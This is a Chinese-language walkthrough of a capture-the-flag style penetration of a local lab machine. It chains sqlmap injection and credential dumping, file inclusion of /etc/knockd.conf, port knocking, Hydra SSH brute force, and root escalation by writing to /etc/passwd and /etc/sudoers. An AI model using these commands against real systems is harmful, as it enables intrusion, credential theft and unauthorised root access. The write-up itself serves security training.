
信息收集
1.主机发现
srp-scan -l
靶机IP:192.168.1.118
攻击机:192.168.1.110
2.端口扫描 22、80
3.访问网页
http://192.168.1.118/display.php 用户信息
http://192.168.1.118/manage.php 用户登录
http://192.168.1.118/search.php 搜索,可能存在注入
4.目录扫描
feroxbuster -u http://192.168.1.118 -e -s 200 301
dirsearch -u http://192.168.1.118 -i 200 301
渗透过程
1.检查搜索页面可能的存在的SQL注入
将bp抓到的搜索页面的包复制粘贴到kali的一个.txt文件里面。
SqlMap进行检测发现注入点
payload:
sqlmap -r post.txt --batch //batch默认Yes
2.Sqlmap获取利用信息。
payload:
sqlmap -r post.txt --batch -D Staff -T Users -C "Username,Password" --dump
密码解密transorbital1
登录成功:
payload:
sqlmap -r post.txt --batch -D users -T UserDetails -C "username,password" --dump
3.登录admin用户收集信息
http://192.168.1.118/welcome.php
http://192.168.1.118/addrecord.php 添加用户信息
管理员用户界面显示页面不存在。(可能存在文件包含)
尝试:
/proc/sched_debug调度相关的详细信息,里面又每个处理器上的可运行进程详细信息。
knockd端口敲门服务,knockd是 一种端口试探服务器。knockd可以将服务器隐藏起来,这样端口扫描工具就扫不到服务开放的端口,使用自定义的序列号敲门才能开启所需服务的端口。它默认配置文件/etc/knockd.conf
sequence:显示由客户软件用作启动操作的模式的端口序列。
seq_timeout:客户端完成端口试探的最大时间。
4.查看/etc/knockd.conf文件信息
端口序列:7469、8475、9842 时间显示25s
5.knockd敲门开启ssh服务
用nmap 扫描这三个端口序列。
nmap 192.168.1.118 -p 7469
nmap 192.168.1.118 -p 8475
nmap 192.168.1.118 -p 9842
查看192.168.1.118 的22端口
6.尝试ssh登录
admin/transorbital1 登录失败。
将UserDetails表中的username,password作为字典hydra爆破92.168.1.118ssh登录。
hydra -L username.txt -P password.txt ssh://192.168.1.118 -t 10
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
7.ssh登录
ls -al 显示所有目录包含隐藏目录。
ssh chandlerb@192.168.1.118
ssh joeyt@192.168.1.118
ssh janitor@192.168.1.118
进入janitor用户的.secrets-for-putin目录,有个密码表
8.将上面发现的密码放入原先密码文档继续爆破用户
新爆出用户 fredf B4-Tru3-001
提权
ssh登录fredf:
sudo -l
发现nopasswd命令有root权限。
进入给的路径:
打开/opt/devstuff/dist/test/test发现是个加密文件。
/opt/devstuff/dist/test下一堆.so共享库文件、还有个base_library.zip对提权没啥用。
/opt/devstuff/dist下就一个text文件。
/opt/devstuff/:
打开test.py文件
importsys
iflen(sys.argv) != 3:
print("Usage: python test.py read append")
sys.exit(1)
else:
f= open(sys.argv[1], "r") #读取sys.argv[1]内容
output= (f.read())
f= open(sys.argv[2], "a") #将sys.argv[1]内容写入sys.argv[2]
f.write(output)
f.close()
test.py参考链接:
https://blog.csdn.net/Mr____Cheng/article/details/124734356
可以利用test.py的代码逻辑像/etc/passwd文件下写入一个用户信息。
openssl工具创建加密用户。
openssl passwd -1 -salt test test
找个有写权限的目录
按照/etc/passwd格式写入用户test信息到/tmp/ss,再通过test.py脚本添加到/etc/passwd
echo 'test:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/root:/bin/bash' >> /tmp/ss
执行py脚本,切换test用户提权成功
sudo ./test /tmp/ss /etc/passwd
echo 'raa::0:0:::/bin/bash' >> /tmp/shell
也可以利用test.py的代码逻辑写一个NOPASSWD用户授权文件写入/etc/sudoers进行提权
echo "fredf ALL=(ALL) NOPASSWD: ALL" > /tmp/qq.txt
sudo ./test /tmp/qq.txt /etc/sudoers
sudo su - root
总结:
获取admin管理员权限后的文件包含需要细心发现,文件包含参数file需要fuzz
https://www.somd5.com/md5解密链接。
import sys :https://blog.csdn.net/Mr____Cheng/article/details/124734356
/etc/knockd.conf ,knockd敲门服务隐藏技术。
/etc/passwd 用户信息(添加用户提权)
/etc/sudoers 用户免密sudo(将用户设置为免密root)
工具sqlmap、hydra、openssl、dirsearch、feroxbuster
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)